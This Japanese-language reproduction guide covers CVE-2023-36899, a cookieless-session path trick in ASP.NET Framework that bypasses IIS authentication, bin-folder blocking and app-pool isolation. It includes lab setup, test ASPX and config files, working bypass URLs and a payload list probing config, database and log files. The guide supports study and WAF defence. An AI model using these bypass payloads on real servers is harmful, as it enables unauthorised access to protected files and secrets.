
CVE-2023-36899の脆弱性の再現環境とツール、ASP.NETフレームワークにおけるクッキーレスセッション認証バイパスを対象とする。
CVE-2023-36899 脆弱性の再現環境とツール。ASP.NET Framework におけるクッキーレスセッション認証バイパスに関するもの。
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
現代のWeb開発では、セッションIDを転送する方法としてクッキーが好まれますが、.NET Framework は別の方法も提供しています。それは、セッションIDをURLに直接エンコードする方法です。この技術は、.NET Framework では「クッキーレス」機能と呼ばれています。多くの開発者やセキュリティテスターは、実際のアプリケーションではほとんど使われないため、このオプションを見逃しています。しかし、これはセッション固定、セッションハイジャック、HTMLインジェクション、クロスサイトスクリプティングなどのクライアント側の脆弱性を発見する宝庫となっています。さらに、この機能は、クッキーレス方式を認識するように設定されていないパスベースのファイアウォールルールをバイパスするために悪用される可能性があります。固有のセキュリティ問題のため、.NET Core およびそれ以降の .NET バージョンでは、クッキーレス機能は省略されています。しかし、依然としてクラシック .NET Framework を使用している大量のWebアプリケーションが存在することを忘れてはなりません。
重要なポイント:
.NET Framework のクッキーレス機能は、保護されたディレクトリやIISのURLフィルターによってブロックされたディレクトリにアクセスするために悪用される可能性があります。例えば、victim.com サイトでの以下の状況を考えてみます。
/protected/ ディレクトリ内のページ: /webform/protected/target1.aspx。このディレクトリは基本認証を強制します。/bin/ フォルダに一時的に移動されたページ: /webform/bin/target2.aspx。これによりアクセスできなくなります。通常、これらのURLを介してページにアクセスすると、IISでブロックされます。
しかし、クッキーレス機能を利用して、以下のパターンでこれらのページにアクセスできます。
IISがアプリケーションプールを管理する方法は、権限昇格やセキュリティバイパスにつながる可能性があります。.NET Framework のクッキーレス機能を操作して、IISアプリケーションに自身のアプリケーションプールではなく、親アプリケーションプールを使用させることができます。 例:
/)はDefaultAppPoolアプリケーションプールで実行されます。/classic/ アプリケーションは.NET v4.5 Classicアプリケーションプールを使用します。/classic/nodotnet/ アプリケーションはNoManagedCodeClassicアプリケーションプールを使用し、マネージドコードをサポートしません。AppPoolPrint.aspxというC#ファイルは、上記のすべてのアプリケーションでアクセス可能で、現在のアプリケーションプール名を表示します。 クッキーレス機能を2回使用することで、親アプリケーションプールでこのページを実行できます。
/(S(X))/(S(X))/classic/AppPoolPrint.aspx → DefaultAppPool/(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx → DefaultAppPool/classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx → .NET v4.5 Classicこれにより、/classic/nodotnet/ 内のページ(マネージドコードを実行すべきではない)でも、親アプリケーションプールを使用してASPXページを実行できるようになります。この動作は、IIS上での権限昇格につながる可能性があります。
IISインストール時に以下を選択します。
/webform, /webform/protected, /webform/bin。/protected/ ディレクトリに基本認証を設定します。/webform/bin/target.aspx ページを /bin/ フォルダに移動して、直接アクセスできないようにします(binディレクトリはIISの既定ではアクセスを許可されていません。コンパイル済みの機密プログラムに関連するため)。/webform/protected/ ディレクトリ内に target.aspx という名前のページを作成します。/webform/bin/ ディレクトリ内に target.aspx という名前のページを作成します。AppPoolPrint.aspx という名前のページを作成します。target.aspx ファイルのテスト内容:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
ルートディレクトリの web.config ファイルのテスト内容:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
<sessionState mode="InProc" cookieless="UseCookies" />は、サイトがクッキーを使用してデフォルトのセッション情報などを保存することを意味します。これがデフォルトです。
/webform/protected/target.aspx および /webform/bin/target.aspx ページに直接アクセスしてみます。ブロックされるか、認証が要求されるはずです。
http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx を使用してアクセス成功

/S(X)) の特徴をWAFでブロックします。可能性のあるペイロードリスト:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899